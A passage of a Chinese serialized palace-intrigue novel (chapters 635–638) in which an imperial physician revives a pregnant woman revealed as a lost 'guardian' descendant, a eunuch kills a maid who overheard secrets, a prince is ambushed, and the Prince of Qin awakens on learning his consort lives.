张致远缓缓解释道:“我们对于人的死亡判断,绝对不只是呼吸停止了,心脏不跳了,大脑不活动了,血液不循环了这么简单。我们认为,仅仅是这些特征,也不代表一个人真正死了。关于一个人死亡的标准,《黄帝内经》里记载的非常清楚……以母为基,以父为楯,失神者死,得神者生也!” 这时,璟帝亦似是想起了什么,口中默念道:“以母为基,以父为楯,失神者死,得神者生也!” 张致远道:“对,以母为基,以父为楯;失神者死,得神者生也。” “此女子看似鼻息微乎其微,像极了死亡,然其身体余温尚存。” 说着,便打开了药箱,取出银针来欲给其针灸,刺其百会穴。 完毕,又给其服下了另一粒丹药。 果然,没过一会儿,当其再次替其把脉时,便明显感觉到其脉搏跳动强劲了许多。 太监等了一会儿,见其依旧没有丝毫变化,于是迫不及待地问:“为何她还不醒来?” 张致远心中似也有些疑惑:“怎么会这样?按照医术上所述,此时她应该已经能坐起了才是啊!” 第六百三十五章:星儿 那太监顿时恼羞成怒,一手翘着兰花指跳了起来,对其扬声喝斥道:“大胆张致远,你竟敢欺君罔上,是不是活得不耐烦了?” 怎料此时的张致远竟出乎在场两位预料,丝毫不顾其威胁,只自顾自地再次仔细替其把了一次脉。 最后自言自语道:“原来是这样,没想到,她竟然已有了身孕!这自古以来,都说母子连心,有了这个孩子,母体自然不会轻易放弃自己的生命。” 璟帝隐隐约约听到了他所发出的,这阵喃喃细语之声,便问他:“张致远,你在说什么?什么身孕?” 张致远回过神来,道:“启禀皇上,这名女子,她已有了约莫两月有余的身孕。” 此话一出,那一旁的太监惊得下巴都差点儿掉了下来。 璟帝亦是都不敢相信自己的耳朵,惊诧极了地再次朝其确认道:“你说什么?这女子……她……她已有了身孕?此话当真?” 张致远肯定极了地点了点头,遂默想了一瞬,继续说道:“她的脉搏跳动,如今已然和常人没有区别,可至于为何还是迟迟昏迷不醒。有的时候,某些患者之所以不愿意醒过来,与其心中的某些执念息息相关。依此看来,或许是她的意识让她不愿醒过来。” 璟帝听了,有些担忧地看着女子的脸,说:“那可该如何是好,就这样一直昏迷不醒着,对她腹中的胎儿也一定会有损伤的吧?” 张致远胸有成竹地道:“皇上不必太过担心,微臣保证,定当全力保住她腹中的胎儿,只要这个孩子没事,微臣相信,等她考虑清楚了,总会有醒过来的那一天的。” 至此,璟帝方才安心了一些,转而笑着夸赞其说:“朕就知道,十几年前朕没有看错你。假以时日,你的医术定会有所精进,超越当年的乐院判。而你,果然没有辜负朕的期望。此女子事关重要,朕便将她交与你了,你务必要让她尽快苏醒过来。” 张致远心中顿觉受到了鼓舞,抱拳信誓旦旦地说:“是,微臣一定尽心尽力,让她早日醒过来。” 璟帝对他颇为满意的点了点头,继而挥了挥手说:“好了,你也辛苦了大半夜了,先退下吧。” 张致远道:“是,微臣告退。” 就在张致远拎着药箱正准备退出去时,璟帝忽然再次叫住了他:“等等……” 闻声,张致远顿足停下,复又转过身来道:“不知皇上还有何吩咐?” 璟帝想了想,终是亲自开口提醒他了一句,说:“你……明日亲自登门去秦王府看看,探探秦王的病情如何了?” 打从今晚见到璟帝的第一刻起,张致远便害怕极了会听到有关秦王府的一切消息。 直到这一刻,他的心终于还是忽觉咯噔一下,显然原本平稳的心跳犹如骤停了一瞬间,忽地又再次跳动了起来,答应璟帝道:“是!” 至此,他终于再次迈开步伐,跨过了门槛。 刚一出门,又再一次被一直守在门外并未离去的刚才那侍卫蒙上了眼睛,带着离开。 这时,太监默默地问璟帝,说:“皇上,张致远真的可靠吗?” 璟帝想了一阵儿,说:“这些年来,张致远一直都是个聪明人。当年,他亲眼目睹了一夜之间,整个乐府由兴至衰,转瞬即逝,他知道自己该怎么选!” 此话一出,霎那间,一室寂静。 就在这时,忽然从便殿传出“咣当……”一声响。 太监急忙慌张地移步,朝着声音所发出来的方向寻去,同时呵斥道:“是谁躲在那里?还不快点儿滚出来。” 继而传出一女子柔弱怯怕的声音来:“是奴婢。” 伴随着一个看起来年龄左不过刚刚及笄的侍女现出身来,太监霎那间惊呆了。 顿时转身与璟帝四目相对视在一起,心里默默道:“莫非方才三人在这里的所有谈话,这女子全都听去了不成。” 于是太监顿扬声怒斥其说:“你是什么人?躲在这里鬼鬼祟祟的做什么?” 侍女提着裙摆,紧紧缩着肩头,怯怯地迈着碎步,缓缓挪了出来到两人的面前,朝其下跪俯身下去行礼:“奴婢星儿,是负责打扫这处寝殿的婢女。星儿参见皇上,万岁,万岁,万万岁!” “星儿……” 太监紧张地问她:“你是负责打扫这座寝殿的婢女……这么说,方才这里所发生的一切,你全都听到了?” 星儿毕竟还是个孩子,受到了从未有过的惊吓,先是点了点头,后又摇了摇头,最后却再次诚实地点了点头。 太监看了一眼身旁主子不知何时早已阴沉极了的脸,追问星儿说:“你是从什么时候便就已经在这里的?” 星儿跪在地上,不敢抬起头来分毫,手里紧紧攥着自己的裙角,道:“打从今日早起,这位姑娘尚且还在睡梦中,奴婢便来到这里进行打扫。” 太监听了惊呆了:“在此期间,你一直都没有出去过?” 星儿点了点头,回忆着说:“奴婢这几日染了风寒,又有些发热,在擦拭偏殿的花瓶时不知不觉就倚着花瓶睡了过去。等奴婢醒来的时候,才发现天都已经黑了。那时,奴婢听到姑娘正与守门的大哥争执了起来。很快,又进来了一名男子,他们像是很熟识的朋友,奴婢便就一直被困在偏殿里未敢再出去。” 忽然,太监似是想到了什么,追问星儿:“如此说来,那男子的长相以及他二人之间的谈话,你皆都听到了?” 星儿摇了摇头,说:“那男子的长相,奴婢当时距离受阻,的确没有看清楚。奴婢似也烧的有些糊涂了,听得也不是很真切,但奴婢清晰地听到那名男子说……” 太监满眼期待地看着星儿的脸,着急地问:“那男子说了什么?” 星儿用力敲了敲自己的脑门儿,想了想,说:“那男子似是知道这姑娘的什么秘密?” “秘密?”太监想了想,问:“什么秘密?” 星儿极用力地回忆了一会儿,才想了起来:“好像那男子说……这姑娘是什么守护者后人,对,那男子知道这姑娘是守护者后人,这姑娘当时像是很惊讶的样子!” “你说什么?” 闻此,那太监简直惊呆了,转头望向身旁璟帝的脸。 而璟帝却将目光闪落到屏风上。 太监忙追问:“那那名男子呢,他究竟是什么人?” 星儿想了想,说:“奴婢只听到姑娘称呼那位男子叫他二皇子,那男子称呼姑娘……乌乐!” 太监若有所思着,默默的跟其重复了一句:“二皇子?” 璟帝则自言自语地说:“乌乐……在草原上是指无忧无虑的云……云……难道这女子的姓名与云字有关?” 顺着这一点,璟帝紧接着很快又联系到:“懂得草原文字的人,莫非那个二皇子是拓跋宏……他还没死?!” 就在主仆两人各自都陷入沉思时,星儿战战兢兢地一边连连叩首,一边说:“奴婢知道的,都已经告诉皇上了,还请皇上放过奴婢这次,奴婢以后再也不敢偷懒了。” 那太监顿回过神来,道:“好了,星儿,你先下去吧!今日这里所发生的事,出去后,切记绝对不可向其他人提起,否则会招来杀身之祸,记住了吗?” “嗯,奴婢一定守口如瓶,绝对不向任何人提起今天在这里所发生的事情。”星儿答应着,便起身欲朝外走去。 然刚走没几步,便被紧追其后而来的太监一刀狠狠地从身后直穿透其左心口处。 只不过须臾,一袭粉色的纱裙,顿时被年轻的鲜血所染红,一个年轻的生命,就此便被定格在这一刻。 紧接着,便闻扑通一声,星儿还没出门便就倒在了地上。 这时,璟帝兀自踱步越过屏风,回到了衣上云的榻边。 看着她睡梦中的脸庞,喃喃自语道:“难怪,如此一个手无缚鸡之力的弱女子,竟会有如此神奇的力量,能够带领着那些刁民逼退飓风沙暴。” 若有所思地想着想着,遂朝外面依旧正一脸狰狞的太监命令道:“还不赶快叫人进来验身!” 很快,璟帝的俩名心腹侍女便走了进来。 接过璟帝手中早已准备好许久,过去无数个日日夜夜,辗转反侧夜不能寐时亲手所绘制的那个只有西秦守护者才与身俱来所拥有的那个凤凰印记图。 俩名身着青绿衣裙的侍女认真仔细地看了一会儿,便将图纸交还于璟帝,接着径直朝着屏风后的衣上云走了过去。 时间一分一秒的过去,整个大殿里俱都充斥着紧张极了的空气。 就连一向极其沉得住气的璟帝亦似再也坐不住了,按捺不住激动的情绪,情不自禁的起身来在殿内来回踱起步来。 终于,俩名侍女验完了身,走了出来。 到了璟帝的面前,其中一人将手里的一方洁白的手帕双手举高,递到了其面前…… 第六百三十六章:入笼 一名侍女将手中的一方手帕双手举高,递到了璟帝的面前,字字真切地禀报说:“恭喜皇上,经查验,这名女子……” 仿佛就连侍女自己至今都不敢相信,守护者遗失多年,世人皆都以为那已经是个传说一般的存在,竟然她真的尚还活在人间。 遂顿了一下,整理心情后又继续道:“经奴婢仔细比对查验,那女子,她的确是我西秦国遗失多年的守护者后人无疑。这便是奴婢从其身上拓下来的其与生俱来的专属凤凰印记,请皇上过目。” 对于璟帝而言,存在于其心中多年以来唯一的期待,原以为这一生到死怕都不可得了。 却是误打误撞,就这样,毫无征兆地,她真的出现了。 此刻,他努力隐忍着内心无比的激动在外面等候至今,终于听到了婢女的回禀,其整个人竟然楞住了。 只目光直勾勾地落在婢女手中的帕子上。 许久,方才缓缓伸手过去接过那名侍女手中的手帕。 注视着,正是由那俩人刚刚从衣上云的身上所拓下来的自己熟悉的不能再熟悉的凤凰印记。 那个于他过去朝思暮想,甚至在无数个夜里,就连做梦都会时常梦到的一模一样的轮廓。 霎那间,他直觉眼前这一切恍若就是在自己的梦中一般。 对于自己早已经心心念念刻在心里的,熟悉的不能再熟悉的印记,当它真真切切地出现在自己的眼前时,他竟呆呆地看着那方手帕呆住了。 回想这一生,似是从来没有一件事,让自己如此甚觉不可思议过。 直到与他同样吃惊的太监先回过了神来,好奇极了地近身过去亦伸出脑袋探了探那个神圣无比的图案。 最后瞪大了眼睛,在其身旁一声又一声激动地唤道:“皇上……皇上,成了,咱们成了,真的成了,咱们终于找到遗失的守护者后人了!” 璟帝这才微微动了动不知何时早已僵住了的双手,扬声连连惊喜道。 “成了……成了!” “这还真是皇天不负有心人,又道是踏破铁鞋无觅处,得来全不费功夫。” “守护者,你终于回到朕的身边来了!” “这可真的是天助朕也,天助朕也。” “哈哈哈……哈哈哈……哈哈哈哈……” 一时间,璟帝越想越是激动,愈来愈心潮澎湃,仿佛眼下这整个天下便已经是他的囊中之物了一般。 言语之间,俨然一副气吞山河之势。 “如今守护者已然归来,得守护者力量者得天下。朕倒要看看,这天下,从此还有谁敢再与朕争锋。” “从此以后,朕的长矛利剑所指之城、所挥之山、所向之河、皆都将成为朕的江山,我王军所到之处,所向披靡……” “哈哈……哈哈哈……哈哈哈哈哈……” 霎时间,殿内众人纷纷跪倒一地,齐声朝其附和高呼:“守护者失而复得,恭喜皇上,贺喜皇上,灵空一统,指日可待,吾皇万岁,万岁,万万岁!” 待到璟帝稍微恢复了些许平静下来,太监心里忽然变得有些担心起来。 犹犹豫豫之间,终是开口问:“当下灵空时局不稳,守护者仍是各国争夺的对象。在尚还不知守护者心意,是否对皇上衷心不二之前,务必还不能将其身份公诸于世。如今之际,应当将守护者秘密安置在何处才好?” 璟帝一听,亦是与其颇有同感,想了想,说:“你说的,也不无道理。既然那拓跋宏都能找到这里来,他也已经知道了守护者后人的存在。看来,别院这里已然已经不安全了。” 太监正在思索较更为安全的别处之所。 璟帝忽然乍出一句道:“所谓最危险的地方,亦是最安全的地方!” 太监仔细想了想,揣测着说:“皇上的意思……莫非是……想要带她回宫?” 璟帝没有说话,显然已经是默认。 太监听了却是脸色有些为难,分析地说:“宫里……倒也不是不可以,索性迄今为止,知道她便是守护者的人就殿内这几人而已。只是回宫的话……她要以什么身份进宫,又到底该如何安置才好?还有皇后娘娘,以及太后娘娘那边又该如何去说?这若是藏个短短几日也倒罢了,可这往后日子一长,就怕闹出什么事来……” 璟帝一时之间,确实亦想不到更好的万全之策,他怎么都没想到,这个失踪了那么久的守护者后人,竟然就这样真的被自己给找回来了。 但也只是将人找回来了,到底他要与守护者如何相处?这守护者究竟又有怎样神奇的力量?自己又如何该让她臣服于自己?这一切,怕也不是一日两日便就能成的事。 一念至此,璟帝便只说:“一切……朕自心中有数,就先让她以御前侍女的身份先留在朕身旁伺候,以后……且先走一步看一步吧……” 闻此,太监再次仔细思虑了一会儿,依旧忧心忡忡道:“探寻她身世的人还未有消息传来,看来也只有先这样了,也没有更好的办法了。只是……如此一个来历不明的女人,皇上真的放心将她留在身边吗?” 璟帝道:“朕是天子,怎会怕区区一个女人?!” 太监见他显然决心已定,亦只好作罢,转而接着又问道:“那皇上打算什么时候起驾回宫?” 璟帝说:“马上……不过……在回宫前,还有一件事,朕必须亲自处理好!” 太监看着他忽然变得一副杀气腾腾的脸,心中亦顿不寒而栗,惧怕了起来。 殊不知,就在众人于屏风后说话之间。 榻上正陷入昏迷的衣上云,其整个人都被从其手腕上所戴着的那只七彩金丝彩玉镯子,所散发出的丝丝缕缕的道道紫色光芒笼罩了起来。 日升月落。 又是喧嚣、浮躁、不安、神奇的一夜很快便过去。 翌日清晨,天刚微微亮。 拓跋宏果然再次出现在这座别院的门前。 顿足停下,口中自言自语碎碎念道:“也不知道她是否已经做了决定,要不要服下那半粒还魂丹?” 其实,打从他将那剩下的半粒丹药还给她的那一瞬间,他便就是有些后悔的。 思来想去,终是按捺不住心里的记挂。 于是默默地掏出了藏在怀里的那面金牌,下定决心,再次迈步向前走了过去。 果然,和昨日一样,有了这道金牌掩护,没有任何人阻挡他。 很快,他便一路畅通,再次来到了衣上云所在的门前。 可就在他微微扬起嘴角,附手上去正想要推开门时,那道门忽然被人从里面拉了开来。 紧接着,只见有两名侍卫一前一后,抬着一张木板走了出来。 拓跋宏一见,即刻改变脚步变作后退之势,最后退靠在一根朱色的柱子旁,垂头望着自己脚下,站立在走廊一旁回避。 就在那俩人抬着木板经过他的面前时,他忽然瞥见木板上竟是一具白布遮掩着的尸体。 这时,有一只胳膊忽然被摇晃着露出来一截,搭在了木板的边缘。 拓跋宏一见那衣裳似曾相识,想着和昨日他见衣上云时,与其所穿在身上的一模一样。 霎时间,他心里顿觉惊恐不安地道:“这……这难道是……” 望着那张冰冷的木板,一种极不好的预感迅速涌上他的心头。 可他又马上否定地想:“不可能,昨日她还好好的,今日怎么可能就……难道她真的服下了那半粒还魂丹?可是上次在草原上,那半颗还魂丹也不至于要了她的性命呀,不可能,这不可能,绝对不可能。” 嘴上坚决否定着,可心里却是越想越害怕。 思虑再三,他终于再也忍不住快步追了上去,伸手一把掀开了遮盖尸体的白布,大叫了一声:“云儿,对不起……” 顿时,那转移尸体的两个侍卫被其举动惊了一下,便朝其怒斥道:“大胆,你是什么人?” 拓跋宏什么都顾及不了。 兀自只着急地仔细查看了一番木板上所搁置着的那张脸,随后又仔细确认了好几遍,最后确认不是衣上云,方才朝二人道歉:“对不起,我认错人了。” “你是不是有病?吓我们一跳!”那两名侍卫似乎真被其举动吓到,于是狠狠瞪了他一眼,随后骂骂咧咧地便继续转移起星儿的尸体。 “对不起,对不起……”拓跋宏连连朝其不停地致歉。 恰时,暗地里一双眼睛正紧紧盯视着拓跋宏的一举一动。 他之所以故意替星儿换上衣上云的衣裳,并选择在这个时候转移,便断定拓跋宏第二日早早定会再来见衣上云,进行他们的下一步计划。 而拓跋宏方才的一举一动,正好验证了他便是昨日来见衣上云的人。 看到这一切,暗中那人隧发出一阵阴阳怪气的声音道:“真有你的,竟还真有胆子敢再来!这次,爷爷定让你入笼进来,再插翅难飞!” 就在拓跋宏顿时变得心慌慌,不知道究竟衣上云的屋里发生了什么,居然有尸体被人抬出。 理智告诉他,这个时候他应该迅速离开。 然他却毫不犹豫地选择了再次折回。 正当其刚刚迈步,跨入门槛后,一把明晃晃的利剑出鞘,从他的身后驾在了他的脖颈上…… 第六百三十七章:他什么都没做 随之,传出轻蔑鄙视极了的一声道:“好个蛮夷之地,如此不知天高地厚的亡国奴,当真竟还苟延残喘于世。怎么?即便整日里东躲西藏,亦要如此狼狈不堪的活着,莫非……时至今日,依旧死性不改,心有不甘,还存着那些不该有的心思不成?” 拓跋宏一听到传入耳畔这阵细声细气的声音,就算不用看他的脸,仅凭其气息,便知此人乃一阉人。 亦即刻明白了过来,正怒剑对着自己好一顿讽刺的乃是西秦皇宫中人。 可他只是不知道,这太监看起来不是一般的身份,他到底是谁的奴才,又有什么阴谋? 面对其侮辱,他只暗自紧紧握住了双拳,强压着心头的愤怒,着急质问他道:“你是西秦皇宫里谁的人?奉的又是谁的命,你们把云儿怎么了?云儿她现在人在哪里?” 那太监佯装起一副毫不知情的样子,重复了其一句:“云儿?谁是云儿?” 拓跋宏目光急急地扫视向殿内的每一处,他所能目之所及的地方。 口中喃喃低声呼唤着:“云儿……你在哪儿?你到底在哪儿?” 说着,心里一着急,便顺势抬起一只胳膊来,只不经意地打出了一掌,便刚好击中了太监的手腕。 只闻“咣当”一声响,太监手里的那把利剑便落在了地上。 就在他摆脱束缚,紧接着欲要迈开步伐,朝里面冲进去的时候。 诺大的殿内,忽从另一黑暗的角落里传出一沉声呵斥道:“不过区区一个亡国奴,竟敢如此嚣张,问也不问这是何处?便来这里撒野,来人!” 顷刻间,便从门外进来了几十名身着黑衣,看似被训练地颇为精良的护卫队,拔剑从四面八方将拓跋宏团团围住。 拓跋宏这才似是恍然明白了过来,意识到自己已然中了埋伏,隧扫了一眼周围,看起来这次绝对没有逃脱的可能。 继而定了定神,望向殿内珠帘后面的神秘面孔,问:“你算计我,你到底是什么人?” 珠帘后只传来一声音:“不要着急,我会让你知道我是谁的?” 拓跋宏尚还在思考,一旁的太监便已复又朝其走了过来,命令众护卫道:“带走!” 于是,拓跋宏便就束手就擒,被这样押解着离开。 秦王府。 晌午时分,明月轩里。 无数个日子以来,都是纯太妃寸步不离地亲自守护在轩辕翰的榻边。 此刻,她正一边抹泪,一边给尚还一直陷入在昏迷中的轩辕翰喂食药汤。 看到轩辕翰现在的模样,心中甚是悔恨不已,嘴里碎碎叨叨着:“本宫知道觻县一行将会是多么的凶险,可无论如何,本宫都没有想到平息这场飓风沙暴的代价,竟然是要付出王妃的生命。若是早知结果是这样,说什么……本宫当初都不该让她去。” 看到自己明明每次一汤匙药水喂了出去,却又每次几近全数流了出来,进入轩辕翰嘴里的实质少之又少。 纯太妃叹了口气,说:“本宫心里一直总是以为,她是守护者后人,即便她始终都不愿意承认,她都拥有着传闻中所说的神秘力量于身。那股力量,在桃花店村的时候,本宫亲眼见过。再加上又有先人庇护,她总是能逢凶化吉的,可不成想……” 越说,心里越发后悔不已,纯太妃一边轻抚着轩辕翰的脸,控制不住又一次泪眼婆娑地对轩辕翰致歉。 “皇儿,母妃后悔了,母妃真的后悔了。是母妃对不起你,对不起你的王妃。” 回想与衣上云相识相处的过往,她感叹不已道:“云儿,她真的是个善良的好孩子。即便阴差阳错,使她成了敌国公主,可她却选择放弃了自己的母国,尊贵的身份,对你便更是难能可贵。母妃早就应该明白,只要你们俩能幸福的在一起,比什么都重要,都重要……可如今后悔,却已是……” 话到此时,已然泣不成声。 这时,只见张嬷嬷步履匆匆的走了进来。 却是看起来神情像是有些紧张,兀自朝着纯太妃的身边近身过来禀告说:“娘娘,张致远求见!” “他?这个时候,他来秦王府里做什么?” 纯太妃一听,张致远是璟帝的人,只觉张致远此时登门,定是不怀好意。 思虑片刻,便吩咐张嬷嬷:“让他在承华殿侯着。” 张嬷嬷道:“怕是来不及了……他已经朝着明月轩寝殿这边来了。” 纯太妃听了,惊诧不已地道:“怎么不拦住他……” 话音未落,便听殿外传来声音道:“微臣张致远,求见太妃娘娘。” 闻声,纯太妃起身踱步站在明月轩门口,喝斥其道:“大胆张致远,你当真以为我秦王府是你一个太医随随便便乱闯的吗?还是……有人授意你,可以肆无忌惮,目中无人地在秦王府任何地方随意出入。” 张致远拱手行礼,垂首解释说:“太妃娘娘请息怒,微臣今日并未是得到任何人的授意而来的秦王府。此次冒昧前来,微臣只是听说秦王殿下在平息沙暴时,不慎身负重伤,至今都昏迷未醒,故而前来探望。还请太妃娘娘容微臣替殿下把个脉,亦好尽微臣的一点儿心意。” 纯太妃当即回拒了他:“不必,秦王府有乐太医足亦,不需要你一个外人插手。秦王如今已然大好,不日便可恢复原样,无需你操心!” 张致远知道自己素日甚少登秦王府的大门,这次的确无法轻易解释。 可思之又思,这件事,如果今日他不做,怕是便会助纣为虐,酿成大错。 于是,只见忽然之间,“扑通”一声,张致远竟就重重地在纯太妃的面前跪了下来。 “你这是做什么?”纯太妃见此,着实惊了一下。 张致远俯身贴在地上看似虔诚极了地道:“人命关天,还望太妃娘娘容许微臣替殿下把脉。太妃娘娘,如果殿下继续再这样昏迷下去,很可能就会真的再也醒不过来了!” 纯太妃仔细想了好一会儿,最后终松了口:“好吧,但本宫必须全程在侧观察。否则,张院判便就请回吧!” “娘娘您在侧看着微臣,微臣保证只是替殿下把脉而已,其他,绝对什么都不做!”张致远信誓旦旦地说。 纯太妃慢慢让了两步,张致远便径自走上前去,进门到了轩辕翰的榻边。 落座后,将手指搭在了轩辕翰的脉搏上,缓缓闭起了眼睛。 片刻后,心里默默道:“脉象缓和,与常人无异,却就是醒不过来,希望老夫猜的没错。” 方才在来秦王府的路上,他一直在揣测:“听闻殿下与王妃伉俪情深,莫非……难道……是秦王以为王妃丧命于沙暴之中,所以也没了求生的欲望。” 一念至此,张致远似是已在心底默默做了决定。 终于缓缓睁开了双眼,在凝视了轩辕翰的脸半晌后,他忽然俯身下去,贴近到轩辕翰的耳畔边,似是在对其说些什么?” 纯太妃见了,一脸不解地问:“张致远你这是何意?” 张致远起身来朝其笑了笑,只说:“秦王殿下吉人天相,相信马上便会苏醒的。” “你说的……都是真的?秦王真的很快便会苏醒过来?” 就连近日以来,令乐太医整日亦焦头烂额的事情,张致远现在却如此云淡风轻,竟还能笑着说的这般轻松。 纯太妃对他的这番话疑惑极了。 “好了,微臣就此告辞,太妃娘娘珍重!” 说着,张致远便要举步离开。 纯太妃这才忽然回过神来,道:“张院判,谢谢你!” 张致远拱手对其郑重行礼,却没有再说话。 自此,便头再也不回地转身离开了明月轩。 打从其离开后,半信半疑的纯太妃,始终都不明白张致远在这里所做的这一切究竟是何意? 出于谨慎,便继续寸步不离,目不转睛地打量着轩辕翰的脸,生怕他会有任何状况出现。 伴随着时间一分一秒地过去,云卷云舒。 夜幕终于降临了。 可此时的纯太妃已经着实太累了,于是便不由自主地趴在其榻边打起了盹。 而就在这时,轩辕翰竟然真的缓缓睁开了眼睛。 “母妃……母妃……” 他缓缓坐起身来,伸出手去,轻抚纯太妃的后背,呼唤她。 “皇儿,你醒了!当真是醒了!” 纯太妃忽地醒过神来,一见其苏醒,一把紧紧地抱住了自己的儿子,激动地哭了起来。 过了许久,方才慢慢松开手。 轩辕翰一边替其擦拭掉脸上的泪水,一边回忆起自己模糊的记忆,问:“母妃,今天可是有谁来过明月轩?” “今天有谁来过明月轩?”面对轩辕翰的忽然苏醒,纯太妃的确太过于激动,一时竟然未能明白他的意思。 待到忽然想了起来时,告诉他:“今儿晌午,张致远来过。” “张致远……是他!” 轩辕翰听了,似是亦有些吃惊,正若有所思着。 纯太妃见了,连忙解释说:“皇儿你放心,母妃知道,除了乐太医,母妃不会让任何人替你诊治的。张致远只是给你把了把脉,其他,他什么都没做!” “不,他已经做了!” 第六百三十八章:棋局失败 “不,他已经做了!” 轩辕翰却似一边在暗自思量着些什么,一边喃喃低声地说。 “已……已经做了?”而纯太妃听到这阵喃喃低语,顿时惊愕极了地看向轩辕翰的脸。 “不可能,这怎么可能呢?他是宫里的人,母妃若不是这些日子实在没了办法,是绝对段不会在这个时候,让他靠近你的。因此打从张致远进殿来到你的榻前起,从头到尾,母妃都是寸步不离,且目不转睛地看着他的一举一动的呀。” 纯太妃一边一遍又一遍仔仔细细地回忆着,一边着急地立起身来,赶快替轩辕翰仔细检查起他的周身来。 紧张关切地说:“他对你做什么了?张致远他把你怎么了?你现在哪里不舒服?快告诉母妃,赶快告诉母妃。” 不容轩辕翰开口解释分毫,竟又继续开始扬声召唤守在大殿外面的人。 “叫乐太医,赶快去叫乐太医过来。来人,快来人呀……” “程良,程良……” 闻声,一直守在外面随时待命,尚还不知道里面究竟发生了什么事的程良,三步并作两步急急进入到殿内。 抱拳恭敬地道:“太妃……” 可嘴边的话尚还未说完,余光忽然一扫到正端坐在榻边的轩辕翰。 他简直不敢相信自己的眼睛,于是用力揉了揉双眼后确定是他的主子,遂惊喜地叫了声:“殿下您终于醒了!” 轩辕翰对其点了点头。 可纯太妃就像是魔怔了一般,完全不顾轩辕翰一直在附手紧紧拽着她的胳膊阻止她,依旧对程良下令。 “程将军,你速去给本宫把张致远那个狗奴才抓回来,快去!” “抓张致远?”程良对此显然颇为不解。 纯太妃见他眼神里透露出些许迟疑,便训斥道:“你还愣在那里干什么,还不赶快去!都怪本宫今日竟没能识破他的狼子之心,他竟胆敢伤我的皇儿,我定不能饶他。” 眼看着纯太妃误解了他的意思,轩辕翰不得不提高了些嗓门喊道:“母妃,你冷静一点儿,是张致远唤醒儿臣的。” “你说什么?”闻声,纯太妃至此这才终于安静了下来。 轩辕翰拉着她缓缓落坐下,在自己的身旁,细细对其解释:“好了,母妃,你听我说!母妃不要担心,并不是您所想的那样。儿臣所说的他已经做了,是说,张致远,他告诉了昏迷中的儿臣一件极为重要的事,并不是他做了什么伤害儿臣的事,母妃不要如此紧张。” 纯太妃这才放松了一些下来,转而不解地问:“告诉了你一件重要的事?那是什么?” 轩辕翰点点头,回忆起不久前在觻县的遭遇,似是至今尚还都令他悲痛不已。 回忆过往,幽幽说道:“这些天以来,儿臣的确始终都不愿醒过来。是怕一醒来,便不得不面对云儿被沙暴袭击,已然永远离开了儿臣的事实。在觻县所发生的一切,云儿在那里所做的所有努力,儿臣这辈子都忘不了。” 看到觻县一行,居然对轩辕翰烙下了这般深刻的阴影,纯太妃亦是心疼不已:“皇儿,是母妃对不起你!如果当时母妃能同你一道阻止她,或许结局就不会……” 轩辕翰摇了摇头,回忆儿时不幸的遭遇,眼神犹豫,徐徐说:“自从父皇离世,接连着母妃也相继遭遇不幸。儿臣便以为,这一生,心中将再无牵挂,唯余复仇。” 顿了顿,转而又扬起一抹难得的淡淡微笑说:“可直到那个漆黑的夜晚,儿臣负伤遇到了她,她的出现,宛若无尽黑夜里唯一的一束光,却是照亮了儿臣心中整个世界。” 纯太妃认真地听着他的诉说,轩辕翰忽然看着她的脸问:“母妃你知道吗?原来在这个世上,真的会因为一个人的出现,你的世界再也不会觉得只有冰冷与孤寂,她的存在,仿佛温暖了整个世界。” 听了这些话,纯太妃才明白,原来衣上云对于轩辕翰是如此这般的重要,于是便更加自责内疚:“可云儿她已经不在了……对不起,真的对不起。” 轩辕翰摇了摇头,嘴角上扬,似是开心地都笑了起来,忽然乍出一句道:“不,母妃,云儿她并没有死,她还活着。” “你说什么?” 纯太妃听了,错觉地还以为轩辕翰是不是受了刺激,脑子哪里出了问题。 正想开口宽慰:“皇儿,母妃知道你与云儿情深意重,可如今既然她已经……你是不是……” 话未说完,轩辕翰忽然打断她的话道:“母妃有所不知,今天张致远在昏迷不醒的儿臣耳边亲口告诉儿臣,云儿她还活着。” “什么?是张致远?原来你说张致远所做的事……竟然是这样的?!是他……”纯太妃瞬间惊呆了。 轩辕翰紧接着又道:“儿臣就是听到他带来的这个消息,方才醒了过来。” 纯太妃这才很快将今天事情的前前后后复又捋了一遍,终于明白了过来:“难怪张致远离开的时候,笃定极了地说你马上便会苏醒的!” 思及此,紧忙追问:“那云儿她现在哪里,张致远又是怎么知道云儿还活着的消息的?他是宫里的人,一直以来,与咱们并无过多交集。这个时候,宫里可是巴不得你永远都醒不过来。他又为何会特意来相告此事?” 纯太妃疑惑重重地问,轩辕翰亦是同样陷入了某种沉思之中…… “张致远,他自是不敢背着宫里独自来秦王府。”说着,轩辕翰忽然一把掀开了毯子下榻来。 纯太妃见了,忙阻止道:“皇儿你要做什么?你刚醒来还不能下榻,还是再多休养几日才是。” 轩辕翰却依旧只自顾自继续手里的动作,回应道:“母妃不必担心,儿臣已经没事了。关于这一切疑问,只有问张致远本人,才会有答案。” 看到轩辕翰着急地更好衣后,便就要出门去,纯太妃追着问:“天都已经这么晚了,你这是要去哪儿?” 轩辕翰道:“去把本王的王妃找回来。” 话音未落,便已彻底消失在眼前一片漆黑的夜里。 而一直在一边立着,插不上话的程良,似是至今都尚还未反应过来,嘴里只嘀嘀咕咕着:“王妃娘娘……还活着……张致远……” 纯太妃见轩辕翰已然不管不顾地走了出去,赶忙催促程良道:“快快快,你怎么还在这发愣呢,还不快跟上。” “是。”程良这才回过神来,说着便疾步追了出去。 纯太妃双手合十,只感激不禁地碎碎念着:“谢天谢地,阿弥陀佛,菩萨保佑……” 西秦皇宫里。 张致远刚一从秦王府里探病出来,便急匆匆进宫去向璟帝复命。 一在殿内看到他,便恭敬地朝其俯身叩拜道:“微臣参见吾皇万岁万岁万万岁!” “起来吧!”璟帝说着,朝其满脸希冀地问:“可否已经见到了秦王本人了?他的身子如何了?” 张致远道:“启禀皇上,微臣一领命后便马不停蹄地赶去秦王府,然还是晚到了一步,秦王已然苏醒!” “秦王已然苏醒?”璟帝默念着,心中难以置信极了。 疑心病重的璟帝在盯视着张致远许久后,忽然开口质问起张致远:“张致远,你该不会是下不了手,而在谎称秦王苏醒,故意替他拖延时间吧?!” 一见庭上龙颜大怒,张致远闻声“扑通”一下复又紧张极了地跪了下去,俯身趴在地上,低到不能再低,附在殿内冰冷的地板上,隐隐有些颤颤巍巍地道:“微臣不敢!秦王的确已经苏醒,皇上可命人前去证实。” 见此,璟帝琢磨了好一会儿,最后倒也相信了他。 换了一副姿态,道:“好了,朕相信你!” 张致远继续道:“是微臣亲眼所见,秦王已然苏醒,且微臣还亲自替其把过脉,其脉搏强劲,与之前相比,似是更加健壮。” “可恶……真是可恶……”他怎么都没想到,自己精心布下的这盘天衣无缝的棋,如今看来竟是以失败告终了。 可值得庆幸的是,还好如今守护者被自己控制了。 